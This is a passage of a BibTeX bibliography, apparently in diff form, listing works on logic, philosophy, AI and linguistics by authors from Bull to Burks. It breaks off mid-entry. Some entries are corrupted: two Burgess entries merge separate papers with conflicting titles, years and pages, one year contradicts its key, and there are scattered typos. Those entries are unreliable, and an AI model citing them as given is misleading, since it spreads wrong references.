+@incollection{ bull:1996a, + author = {Robert Bull}, + title = {Logics Without Contraction {I}}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {317--336}, + address = {Oxford}, + topic = {proof-theory;relevance-logic;} + } + +@book{ bulmer:1967a, + author = {M.G. Bulmer}, + title = {Principles of Statistics}, + publisher = {Dover Publications}, + year = {1967}, + address = {New York}, + topic = {statistics;} + } + +@article{ bunder:1992a, + author = {M.W. Bunder}, + title = {A Simplified Form of Condensed Detachment}, + journal = {Journal of Logic, Language, and Information}, + year = {1992}, + volume = {4}, + number = {2}, + pages = {169--173}, + topic = {resolution;} + } + +@incollection{ bunder:1996a, + author = {Martin Bunder}, + title = {Logics Without Contraction {II}}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {337--349}, + address = {Oxford}, + topic = {proof-theory;relevance-logic;} + } + +@incollection{ bundgen:1998a, + author = {R. B\"undgen et al.}, + title = {Parallel Term Rewriting with {P}a{R}e{D}u{X}}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@incollection{ bundgen:1998b, + author = {R. B\"undgen}, + title = {Rewrite Based Hardware Verification with + {R}e{D}u{X}}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@article{ bundy:1978a, + author = {Alan Bundy}, + title = {Will it Reach the Top? Prediction in the Mechanics World}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {10}, + number = {2}, + pages = {129--146}, + topic = {qualitative-physics;} + } + +@article{ bundy-welham:1981a, + author = {Alan Bundy and Bob Welham}, + title = {Using Meta-Level Inference for Selective Application of + Multiple Rewrite Rule Sets in Algebraic Manipulation}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {16}, + number = {2}, + pages = {189--212}, + topic = {algebraic-computation;metareasoning;} + } + +@incollection{ bundy:1984a, + author = {Alan Bundy}, + title = {Meta-Level Inference and Consciousness}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {156--167}, + address = {Chichester}, + topic = {consciousness;philosophy-and-AI;metareasoning;} + } + +@unpublished{ bundy-etal:1985a, + author = {Alan Bundy and Ben du Boulay and Jim Howe and Gordin + Plotkin}, + title = {The Researcher's Bible}, + year = {1985}, + note = {Unpublished manuscript.}, + topic = {student-guides;} + } + +@article{ bundy-etal:1985b, + author = {Alan Bundy and Bernard Silver and Dave Plummer}, + title = {An Analytical Comparison of Some Rule-Learning Programs}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {27}, + number = {2}, + pages = {137--181}, + topic = {rule-learning;machine-learning;cognitive-architectures;} + } + +@article{ bundy-etal:1993a, + author = {Alan Bundy and Andrew Stevens and Frank van Harmelen and + Andrew Ireland and Alan Smaill}, + title = {Rippling: A Heuristic for Guiding Inductive Proofs}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {2}, + pages = {185--253}, + acontentnote = {Abstract: + We describe rippling: a tactic for the heuristic control of the + key part of proofs by mathematical induction. This tactic + significantly reduces the search for a proof of a wide variety + of inductive theorems. We first present a basic version of + rippling, followed by various extensions which are necessary to + capture larger classes of inductive proofs. Finally, we present + a generalised form of rippling which embodies these extensions + as special cases. We prove that generalised rippling always + terminates, and we discuss the implementation of the tactic and + its relation with other inductive proof search heuristics.}, + topic = {search;induction;theorem-proving;} + } + +@article{ bundy:1994a, + author = {Alan Bundy}, + title = {A Subsumption Architecture for Theorem Proving?}, + journal = {Philosophical Transactions of the Royal Society, Series A: + Physical Sciences and Engineering}, + year = {1994}, + volume = {349}, + number = {1689}, + pages = {4--85}, + note = {Available at http://www.jstor.org/journals/09628428.html}, + contentnote = {This paper contains a useful summary of work + in theorem proving.}, + topic = {theorem-proving;behavioral-modules;theorem-proving-tactics;} + } + +@book{ bundy:1994b, + editor = {Alan Bundy}, + title = {Proceedings of the Twelfth International Conference on + Automated Deduction (CADE'94)}, + publisher = {Springer-Verlag}, + year = {1994}, + address = {Berlin}, + series = {Lecture Notes in Artificial Intelligence}, + volume = {814}, + topic = {theorem-proving;} + } + +@article{ bundy-etal:1996a, + author = {Alan Bundy and Fausto Giunchiglia and Roberto Sebastiani + and Toby Walsh}, + title = {Calculating Criticalities}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {39--67}, + acontentnote = {Abstract: + We present a novel method for building ABSTRIPS style + abstraction hierarchies in planning. The aim of this method is + to minimize search by limiting backtracking both between + abstraction levels and within an abstraction level. Previous + approaches for building ABSTRIPS style abstractions have + determined the criticality of operator preconditions by + reasoning about plans directly. Here, we adopt a simpler and + faster approach where we use numerical simulation of the + planning process. We develop a simple but powerful theory to + demonstrate the theoretical advantages of our approach. We use + this theory to identify some simple properties lacking in + previous approaches but possessed by our method. We demonstrate + the empirical advantages of our approach by a set of four + benchmark experiments using the ABTWEAK system. We compare the + quality of the abstraction hierarchies generated with those + built by the ALPINE and HIGHPOINT algorithms. } , + topic = {abstraction;planning-algorithms;} + } + +@article{ bunge:1974a, + author = {Mario Bunge}, + title = {The Relations of Logic and Semantics to Ontology}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {3}, + pages = {195--209}, + topic = {philosophical-ontology;logic-and-ontology;} + } + +@book{ bunnin-tsuijames:1996a, + editor = {Nicholas Bunnin and E.P. Tsui-James}, + title = {The {B}lackwell Companion To Philosophy}, + publisher = {Blackwell Reference,\}, + year = {1996}, + address = {Oxford}, + ISBN = {0631187898 (pbk)}, + topic = {philosophy-reference;} + } + +@unpublished{ bunt:1978a, + author = {Harry Bunt}, + title = {A Formal Semantic Analysis of Mass Terms and Amount Terms}, + year = {1978}, + note = {Unpublished manuscript, } , + missinginfo = {Year is a guess.}, + topic = {nl-semantics;mass-term-semantics;} + } + +@incollection{ bunt:1981a, + author = {Harry Bunt}, + title = {Parsing with Discontinuous Phrase Structure Grammar}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {49--63}, + address = {Dordrecht}, + topic = {parsing-algorithms;discontinuous-constituents;} + } + +@book{ bunt:1985a, + author = {Harry C. Bunt}, + title = {Mass Terms and Model-Theoretic Semantics}, + publisher = {Cambridge University Press}, + year = {1985}, + address = {Cambridge, England}, + topic = {mass-term-semantics;} + } + +@incollection{ bunt:1989a, + author = {Harry C. Bunt}, + title = {Information Dialogues as Communication Dialogues in + Relation to User Modeling and Information Processing}, + booktitle = {The Structure of Multimodal Dialogue, Volume 1}, + publisher = {North-Holland Publishing Co.}, + year = {1989}, + editor = {M.M. Taylor and F. N\'eel and and D.G. Bouwhuis}, + pages = {47--73}, + address = {Amsterdam}, + topic = {computational-dialogue;} + } + +@article{ bunt:1994a, + author = {Harry C. Bunt}, + title = {Context and Dialogue Control}, + journal = {{THINK} Quarterly}, + year = {1994}, + volume = {3}, + pages = {19--31}, + missinginfo = {number}, + topic = {context;computational-dialogue;} + } + +@incollection{ bunt:1996a, + author = {Harry C. Bunt}, + title = {Dynamic Interpretation and Dialogue Theory}, + booktitle = {The Structure of Multimodal Dialogue, Volume 2}, + publisher = {John Benjamins}, + year = {1996}, + editor = {Michael M. Taylor and F. N\'eel and and Don G. Bouwhuis}, + address = {Amsterdam}, + missinginfo = {pages}, + topic = {dynamic-semantics;computational-dialog;} + } + +@book{ bunt-tomita:1996a, + editor = {Harry Bunt and Masaru Tomita}, + title = {Recent Advances in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + ISBN = {0792361083}, + topic = {parsing-algorithms;nl-processing;} + } + +@incollection{ bunt-vandersloot:1996a, + author = {Harry Bunt and K. van der Sloot}, + title = {Parsing as Dynamic Interpretation of Feature Structures}, + booktitle = {Recent Advances in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + editor = {Harry Bunt and Masaru Tomita}, + address = {Dordrecht}, + missinginfo = {pages}, + topic = {parsing-algorithms;feature-structures;} + } + +@incollection{ bunt:1998a, + author = {Harry C. Bunt}, + title = {Iterative Context Specification and Dialogue Analysis}, + booktitle = {Abduction, Belief, and Context: Studies in Computational + Pragmatics}, + publisher = {University College Press}, + year = {1998}, + editor = {Harry C. Bunt and W.J. Black}, + pages = {73--129}, + address = {London}, + topic = {context;computational-dialogue;} + } + +@book{ bunt-black_wj:1998a, + editor = {Harry C. Bunt and William J. Black}, + title = {Abduction, Belief, and Context: Studies in Computational + Pragmatics}, + publisher = {John Benjamins}, + year = {2000}, + address = {Amsterdam}, + ISBN = {1556197942 (US)}, + topic = {abduction;context;computational-pragmatics;} + } + +@book{ bunt-etal:1998a, + editor = {Harry Bunt and Robbert-Jan Beun and Tijn Borhguis}, + title = {Multimodal Human-Computer Communication: Systems, + Techniques, and Experiments}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + ISBN = {354064380X (paper)}, + contentnote = {TC: + 1. Harry Bunt, "Issues in Multimodal Human-Computer Communication" + 2. Mark T. Maybury, "Towards Cooperative Multimedia Interaction" + 3. Harry Bunt et al., "Multimodal Cooperation with the Den{K} System" + 4. Catherine Pelachaud et al., "Synthesizing Cooperative + Conversation" + 5. Bonnie Webber, "Instructing Animated Agents: Viewing + Language in Behavioral Terms" + 6. Jacques Siroux et al., "Modeling and Processing of Oral + and Tactile Activities in the {GEORAL} System" + 7. Adam Cheyer and Luc Julia, "Multimodal Maps: An + Agent-Based Approach" + 10. Yi Han and Ingrid Zukerman, "Using Cooperative Agents to + Plan Multimodal Presentations" + 11.Jean-Claude Martin and Remko Veldman and Dominique + Béroule, "Developing Multimodal Interfaces: A + Theoretical Framework and Guided Propagation + Networks" + 12. Patrick Bourdot and Mike Krus and Rachid + Gherbi, "Cooperation between Reactive 3D Objects and + a Multimodal {X} Window Kernel for {CAD}" + 13. Fergal McCaffery and Michael McTear and Maureen + Murphy, "A Multimedia Interface for Circuit Board + Assembly" + 14. Kent Wittenburg, "Visual Language Parsing: If I Had a + Hammer $\ldots$" + 15. John Lee and Keith Stenning, "Anaphora in Multimodal + Discourse" + 16. Laurel Fais, Kyung-ho Loke-Kim and Young-Duk + Park, "Speakers' Responses to Requests for Repetition + in a Multimedia Language Processing Environment" + 17. Anita Cremers, "Object Reference in Task-Oriented Keyboard + Dialogues" + 16. Tsuneaki Kato and Yukiko I. Nakano, "Referent + Identification Requests in Multi-Modal Dialogs" + 17. Carla Huls and Edwin Bos, "Studies into Full Integration + of Language and Action" + 18. Marie-Christine Bressolle and Bruno Pavard and Marcel + Leroux, "The Role of Multimodal Communication in + Cooperation: The Cases of Air Traffic Control" + } , + topic = {multimodal-communication;} + } + +@incollection{ bunt:1999a, + author = {Harry Bunt}, + title = {Context Representation for Dialogue Management}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {77--90}, + address = {Berlin}, + topic = {context;discourse;computational-dialogue;} + } + +@book{ bunt-muskens:1999a, + editor = {Harry Bunt and Reinhard Muskens}, + title = {Computing Meaning, Volume 1}, + publisher = {Kluwer Academic Publishers}, + year = {1999}, + address = {Dordrecht}, + ISBN = {0-7923-6108-3}, + xref = {Review: winter:2001a.}, + topic = {computational-semantics;} + } + +@incollection{ bunt:2000a, + author = {Harry Bunt}, + title = {Requirements for Dialogue Context Management}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {23--36}, + address = {Dordrecht}, + topic = {context;computational-dialogue;speech-acts;} + } + +@book{ bunt-nijholt:2000a, + editor = {Harry Bunt and Anton Nijholt}, + title = {Advances in Probabilistic and Other Parsing Technologies}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + address = {Dordrecht}, + ISBN = {0792366166}, + topic = {probabilistic-parsers;parsing-algorithms;} + } + +@article{ buntine:1988a, + author = {Wray Buntine}, + title = {Generalized Subsumption and Its Applications to + Induction and Redundancy}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {2}, + pages = {149--176}, + acontentnote = {Abstract: + A theoretical framework and algorithms are presented that + provide a basis for the study of induction of definite (Horn) + clauses. These hinge on a natural extension of + theta-subsumption that forms a strong model of generalization. + The model allows properties of inductive search spaces to be + considered in detail. A useful by-product of the model is a + simple but powerful model of redundancy. Both induction and + redundancy control are central tasks in a learning system, and, + more broadly, in a knowledge acquisition system. The results + also demonstrate interaction between induction, redundancy, and + change in a system's current knowledge---with subsumption + playing a key role. } , + topic = {Horn-clause-abduction;indiction;machine-learning;subsumption;} + } + +@techreport{ buntine:1990a, + author = {Wray Buntine}, + title = {Modelling Default and Likelihood Reasoning as + Probabilistic}, + institution = {{NASA} Ames Research Center}, + number = {FIA--90--09--11-01}, + year = {1990}, + address = {Moffett Field, California}, + topic = {nonmonotonic-reasoning;probability-semantics;} + } + +@article{ bunzl:1979a, + author = {Martin Bunzl}, + title = {Causal Overdetermination}, + journal = {The Journal of Philosophy}, + year = {1979}, + volume = {76}, + pages = {134--150}, + missinginfo = {number}, + topic = {causality;} + } + +@incollection{ burch:1992a, + author = {Robert W. Burch}, + title = {Valential Aspects of {P}eircean Algebraic Logic}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {665--677}, + address = {Oxford}, + topic = {CS-Peirce;history-of-logic;} + } + +@book{ burchfield:1987a, + editor = {Robert Burchfield}, + title = {Studies in Lexicography}, + publisher = {Oxford University Press}, + year = {1987}, + address = {Oxford}, + ISBN = {0198119453}, + topic = {lexiography;} + } + +@book{ burdea-coiffet:1994a, + author = {Grigore Burdea and Philippe Coiffet}, + title = {Virtual Reality Technology}, + publisher = {John Wiley and Sons}, + year = {1994}, + address = {New York}, + ISBN = {0471086320}, + topic = {virtual-reality;} + } + +@book{ burdea:1996a, + author = {Grigore C. Burdea}, + title = {Force and Touch Feedback for Virtual Reality}, + publisher = {John Wiley and Sons}, + year = {1996}, + address = {New York}, + ISBN = {0471021415 (alk. paper)}, + topic = {HCI;} + } + +@article{ burdick:1991a, + author = {Howard Burdick}, + title = {What was Leibniz's Problem about Relations?}, + journal = {Synth\'ese}, + year = {1991}, + volume = {88}, + number = {2}, + pages = {1--13}, + topic = {history-of-logic;history-of-philosophy;relations;Leibniz;} + } + +@article{ burge:1972a, + author = {Tyler Burge}, + title = {Truth and Mass Terms}, + journal = {Journal of Philosophy}, + year = {1972}, + volume = {69}, + pages = {263--282}, + missinginfo = {number}, + topic = {nl-semantics;mass-term-semantics;} + } + +@unpublished{ burge:1972b, + author = {Tyler Burge}, + title = {A Theory of Aggregates}, + year = {1972}, + note = {Unpublished manuscript, Philosophy Department, UCLA.}, + missinginfo = {Year is a guess.}, + topic = {mereology;nominalism;} + } + +@article{ burge:1973a1, + author = {Tyler Burge}, + title = {Reference and Proper Names}, + journal = {The Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {14}, + pages = {425--439}, + xref = {Republication: burge:1973a2.}, + topic = {reference;semantics-of-proper-names;} + } + +@incollection{ burge:1973a2, + author = {Tyler Burge}, + title = {Reference and Proper Names}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {200-- 209}, + address = {Encino, California}, + xref = {Original Publication: burge:1973a1.}, + topic = {reference;semantics-of-proper-names;} + } + +@article{ burge:1974a, + author = {Tyler Burge}, + title = {Reference and Singular Terms}, + journal = {No\^us}, + year = {1974}, + volume = {8}, + pages = {309--325}, + topic = {reference;reference-gaps;} + } + +@article{ burge:1975a, + author = {Tyler Burge}, + title = {Mass Terms, Count Terms, and Change}, + journal = {Synth\'ese}, + year = {1975}, + volume = {69}, + pages = {459--478}, + missinginfo = {number}, + topic = {mass-term-semantics;individuation;} + } + +@article{ burge:1975b, + author = {Tyler Burge}, + title = {On Knowledge and Convention}, + journal = {The Philosophical Review}, + year = {1975}, + volume = {84}, + pages = {249--255}, + topic = {convention;} + } + +@article{ burge:1976a, + author = {Tyler Burge}, + title = {Belief and Synonymy}, + journal = {The Journal of Philosophy}, + year = {1976}, + volume = {75}, + pages = {119--338}, + topic = {belief;synonymy;hyperintensionality;} + } + +@article{ burge:1977b, + author = {Tyler Burge}, + title = {Belief De Re}, + journal = {Journal of Philosophy}, + year = {1977}, + volume = {74}, + number = {6}, + pages = {338--362}, + topic = {propositional-attitudes;reference;} + } + +@article{ burge:1979a, + author = {Tyler Burge}, + title = {Semantical Paradox}, + journal = {Journal of Philosophy}, + year = {1979}, + volume = {76}, + missinginfo = {number, pages}, + topic = {semantic-paradoxes;} + } + +@article{ burge:1981a, + author = {Tyler Burge}, + title = {The Liar Paradox: Tangles and Chains}, + journal = {Philosophical Studies}, + year = {1981}, + volume = {41}, + pages = {353--366}, + missinginfo = {number}, + topic = {semantic-paradoxes;} + } + +@article{ burge:1982a, + author = {Tyler Burge}, + title = {Two Thought Experiments Reviewed}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1982}, + volume = {23}, + number = {3}, + pages = {284--293}, + topic = {foundations-of-semantics;} + } + +@incollection{ burge:1986a, + author = {Tyler Burge}, + title = {On {D}avidson's `Saying that'}, + booktitle = {Truth and Interpretation}, + publisher = {Blackwell Publishers}, + year = {1986}, + editor = {Ernest Lepore}, + address = {Oxford}, + missinginfo = {pages}, + topic = {indirect-discourse;propositional-attitudes;propositions + philosophy-of-language;} + } + +@article{ burge:1993a, + author = {Tyler Burge}, + title = {Content Preservation}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {4}, + pages = {457--458}, + topic = {a-priori;justification;propositional-attitudes;} + } + +@incollection{ burge:1993b, + author = {Tyler Burge}, + title = {Mind-Body Causation and Explanatory Practice}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {97--120}, + address = {Oxford}, + topic = {mind-body-problem;causality;explanation;} + } + +@incollection{ burge:1998a, + author = {Tyler Burge}, + title = {Computer Proof, Apriori Knowledge, and Other Minds}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {1--37}, + address = {Oxford}, + topic = {a-priori;philosophy-of-mathematics;} + } + +@article{ burge:1999a, + author = {Tyler Burge}, + title = {A Century of Deflation and a Moment about + Self-Knowledge}, + journal = {Proceedings and Addresses of the {A}merican + {P}hilosophical {A}ssociation}, + year = {1999}, + volume = {72}, + number = {2}, + pages = {25--46}, + topic = {introspectiono;phenomenalism;} + } + +@inproceedings{ burger_jd:1998a, + author = {John D. Burger and David Palmer and Lynette Hirschman}, + title = {Named Entity Scoring for Speech Input}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {201--205}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {speech-recognition;named-entity-tagging;} +} + +@book{ burger_w-bhanu:1992a, + author = {Wilhelm Burger and Bir Bhanu}, + title = {Qualitative Motion Planning}, + publisher = {Kluwer Academic Publishers}, + year = {1992}, + address = {Dordrecht}, + ISBN = {0792392515}, + topic = {motion-planning;} + } + +@article{ burgess_hs:1990b, + author = {H.A. Burgess}, + title = {The Sorites Paradox and Higher-Order Vagueness}, + journal = {Synthese}, + year = {1990}, + volume = {85}, + pages = {417--474}, + topic = {vagueness;sorites-paradox;} + } + +@article{ burgess_ja:1989a, + author = {John A. Burgess}, + title = {Vague Identity: {E}vans Misrepresented}, + journal = {Analysis}, + year = {1989}, + volume = {49}, + pages = {112--119}, + missinginfo = {number}, + topic = {vagueness;identity;} + } + +@article{ burgess_ja:1990a, + author = {John A. Burgess}, + title = {The Sorites Paradox and Higher-Order Vagueness}, + journal = {Synth\'ese}, + year = {1990}, + volume = {84}, + number = {3}, + pages = {417--474}, + topic = {vagueness;sorites-paradox;} + } + +@article{ burgess_ja:1990b, + author = {John A. Burgess}, + title = {Vague Objects and Indefinite Identity}, + journal = {Philosophical Studies}, + year = {1990}, + volume = {59}, + pages = {253--287}, + missinginfo = {number}, + topic = {vagueness;sorites-paradox;} + } + +@article{ burgess_ja:1997a, + author = {J.A. Burgess}, + title = {Supervaluations and the Propositional Attitude Constraint}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {26}, + number = {1}, + pages = {103--119}, + topic = {supervaluations;foundations-of-semantics;} + } + +@article{ burgess_jp:1979a, + author = {John P. Burgess}, + title = {Logic and Time}, + journal = {Journal of Symbolic Logic}, + year = {1979}, + volume = {44}, + pages = {566--582}, + title = {The Unreal Future}, + journal = {Theoria}, + year = {1978}, + volume = {44}, + pages = {157--179}, + topic = {branching-time;(in)determinism;} + } + +@unpublished{ burgess_jp:1980a, + author = {John P. Burgess}, + title = {Decidability for Branching Time}, + year = {1980}, + note = {Unpublished manuscript, Princeton University.}, + missinginfo = {Year is a guess.}, + topic = {branching-time;} + } + +@article{ burgess_jp:1980b, + author = {John P. Burgess}, + title = {Decidability and Branching Time}, + journal = {Studia Logica}, + year = {1980}, + volume = {9}, + pages = {203--218}, + missinginfo = {number}, + title = {The Completeness of Intuitionistic Propositional Calculus + for Its Intended Interpretation}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1981}, + volume = {22}, + number = {1}, + pages = {17--28}, + topic = {intuitionistic-logic;} + } + +@article{ burgess_jp:1981b, + author = {John P. Burgess}, + title = {Relevance: A Fallacy?}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1981}, + volume = {22}, + number = {2}, + pages = {97--104}, + topic = {relevance-logic;} + } + +@article{ burgess_jp:1981c, + author = {John P. Burgess}, + title = {Quick Completeness Proofs for Some Logics of + Conditionals}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1981}, + volume = {22}, + number = {1}, + pages = {76--84}, + topic = {conditionals;modal-logics;completeness-proofs;} + } + +@article{ burgess_jp:1982b, + author = {John P. Burgess}, + title = {Axioms for Tense Logic {I}: `Since' and `Until'\, } , + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1982}, + volume = {23}, + number = {4}, + pages = {367--383}, + topic = {temporal-logic;} + } + +@article{ burgess_jp:1984a, + author = {John P. Burgess}, + title = {Beyond Tense Logic}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {3}, + pages = {235--248}, + note = {Review of {The Logic of Time}, by {J}ohan van {B}enthem.}, + xref = {Review of vanbenthem:1983a.}, + topic = {temporal-logic;} + } + +@article{ burgess_jp:1984b, + author = {John P. Burgess}, + title = {Synthetic Mechanics}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {4}, + pages = {379--395}, + topic = {nominalism;formalizations-of-physics;logic-and-ontology; + formalizations-of-geometry;} + } + +@incollection{ burgess_jp:1984c, + author = {John P. Burgess}, + title = {Basic Tense Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {II}: + Extensions of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1984}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {89--133}, + address = {Dordrecht}, + topic = {temporal-logic;} + } + +@article{ burgess_jp:1986a, + author = {John P. Burgess}, + title = {The Truth is Never Simple}, + journal = {Journal of Symbolic Logic}, + year = {1986}, + volume = {51}, + number = {3}, + missinginfo = {pages}, + topic = {truth;semantic-hierarchies;} + } + +@article{ burgess_jp:1991a, + author = {John P. Burgess}, + title = {Synthetic Mechanics Revisited}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {2}, + pages = {121--130}, + topic = {nominalism;formalizations-of-physics;logic-and-ontology; + formalizations-of-geometry;} + } + +@book{ burgess_jp-rosen_g:1997a, + author = {John P. Burgess and Gideon Rosen}, + title = {A Subject With No Object: Strategies for Nominalistic + Interpretation of Mathematics}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + xref = {Review: colyvan:2001a.}, + topic = {nominalism;nominalistic-semantics;philosophy-of-mathematics;} + } + +@inproceedings{ burgess_s-dambrosio:1996a, + author = {Scott Burgess and Bruce D'Ambrision}, + title = {An Efficient Approach for Finding the {MPE} in + Belief Networks}, + booktitle = {Proceedings of the 12th Conference on Uncertainty in + Artificial Intelligence (UAI96)}, + year = {1996}, + pages = {194--202}, + missinginfo = {Editor, Organization, Address}, + topic = {probabilistic-reasoning;Bayesian-networks;} + } + +@book{ burghardt-holker:1979a, + editor = {Wolfgang Burghardt and Klaus H\"olker}, + title = {Text Processing: Papers in Text Analysis and Text Description}, + publisher = {Walter de Gruyter}, + year = {1979}, + address = {Berlin}, + ISBN = {3110075652}, + topic = {discourse-analysis;} + } + +@inproceedings{ buring:1995a1, + author = {Daniel B\"uring}, + title = {The Great Scope Inversion Conspiracy}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {37--53}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + xref = {Journal Publication: buring:1995a2.}, + topic = {nl-semantics;nl-quantifier-scope;topic;sentence-focus;pragmatics;} + } + +@article{ buring:1995a2, + author = {Daniel B\"uring}, + title = {The Great Scope Inversion Conspiracy}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {2}, + pages = {175--194}, + xref = {Republication of: buring:1995a1.}, + topic = {nl-quantifier-scope;} + } + +@book{ burke_e:1996a, + author = {Edmund Burke}, + title = {Logic and Its Applications}, + publisher = {Prentice Hall}, + year = {1996}, + address = {London}, + ISBN = {0130302635}, + topic = {logic-in-cs;logic-in-cs-intro;} + } + +@article{ burke_r-etal:1997a, + author = {R. Burke and K. Hammond and V. Kulyukin and + S. Lytinen and N. Tomuro and S. Schoenberg}, + title = {Question Answering from Frequently Asked Question + Files}, + journal = {AI Magazine}, + volume = {18}, + number = {2}, + year = {1997}, + missinginfo = {A's 1st name}, + topic = {question-answering;case-based-reasoning;} + } + +@incollection{ burkert_g:1995a, + author = {Gerrit Burkert}, + title = {Lexical Semantics and Terminological Knowledge Representation}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {165--184}, + address = {Cambridge, England}, + topic = {nl-kr;computational-lexical-semantics;taxonomic-logics;} + } + +@article{ burkert_hj:1994a, + author = {Hans-J\"urgen B\"urkert}, + title = {A Resolution Principle for Constrained Logics}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {66}, + number = {2}, + pages = {235--271}, + acontentnote = {Abstract: + We introduce a constrained logic scheme with a resolution + principle for clauses whose variables are constrained by a + constraint theory. Constraints can be seen as quantifier + restrictions filtering out the values that any interpretation of + the underlying constraint theory can assign to the variables of + a formula with such restricted quantifiers. + We present a resolution principle for constrained clauses, + where unification is replaced by testing constraints for + satisfiability over the constraint theory. We show that + constrained resolution is sound and complete in that a set of + constrained clauses is unsatisfiable over the constraint theory + if and only if for each model of the constraint theory we can + deduce a constrained empty clause whose constraint is + satisfiable in that model. We demonstrate that we cannot require + a better result in general. But we give conditions, under which + at most finitely many such empty clauses are needed or even + better only one empty clause as in classical resolution, sorted + resolution or resolution with theory unification. + } , + topic = {resolution;theorem-proving;restricted-quantifiers; + completeness-theorems;} + } + +@article{ burkhard_hd-etal:1998a, + author = {Hans-Dieter Burkhard and Markus Hannebauer and Jan + Wendler}, + title = {Belief-Desire-Intention Deliberation in Artificial + Soccer}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {19}, + number = {3}, + pages = {87--93}, + topic = {planning;agent-architectures;cognitive-robotics;} + } + +@book{ burkhardt-smith_b:1991a, + editor = {Hans Burkhardt and Barry Smith}, + title = {Handbook of Metaphysics and Ontology}, + publisher = {Philosophia Verlag}, + year = {1991}, + address = {Munich}, + ISBN = {388405080X}, + topic = {metaphysics;ontology;} + } + +@article{ burks:1946a, + author = {Arthur W. Burks}, + title = {Empiricism and Vagueness}, + journal = {Journal of Philosophy}, + year = {1946}, + volume = {53}, + pages = {477--486}, + missinginfo = {number}, + topic = {vagueness;} + } + +@article{ burks:1951a, + author = {Arthur W. Burks}, + title = {Reichenbach's Theory of Probability and Induction}, + journal = {The Review of Metaphysics}, + year = {1951}, + volume = {4}, + number = {3}, + pages = {377--393}, + topic = {induction;foundations-of-probability;Reichenbach;} + } + +@article{ burks:1955a, + author = {Arthur W. Burks}, + title = {Dispositional Statements}, + journal = 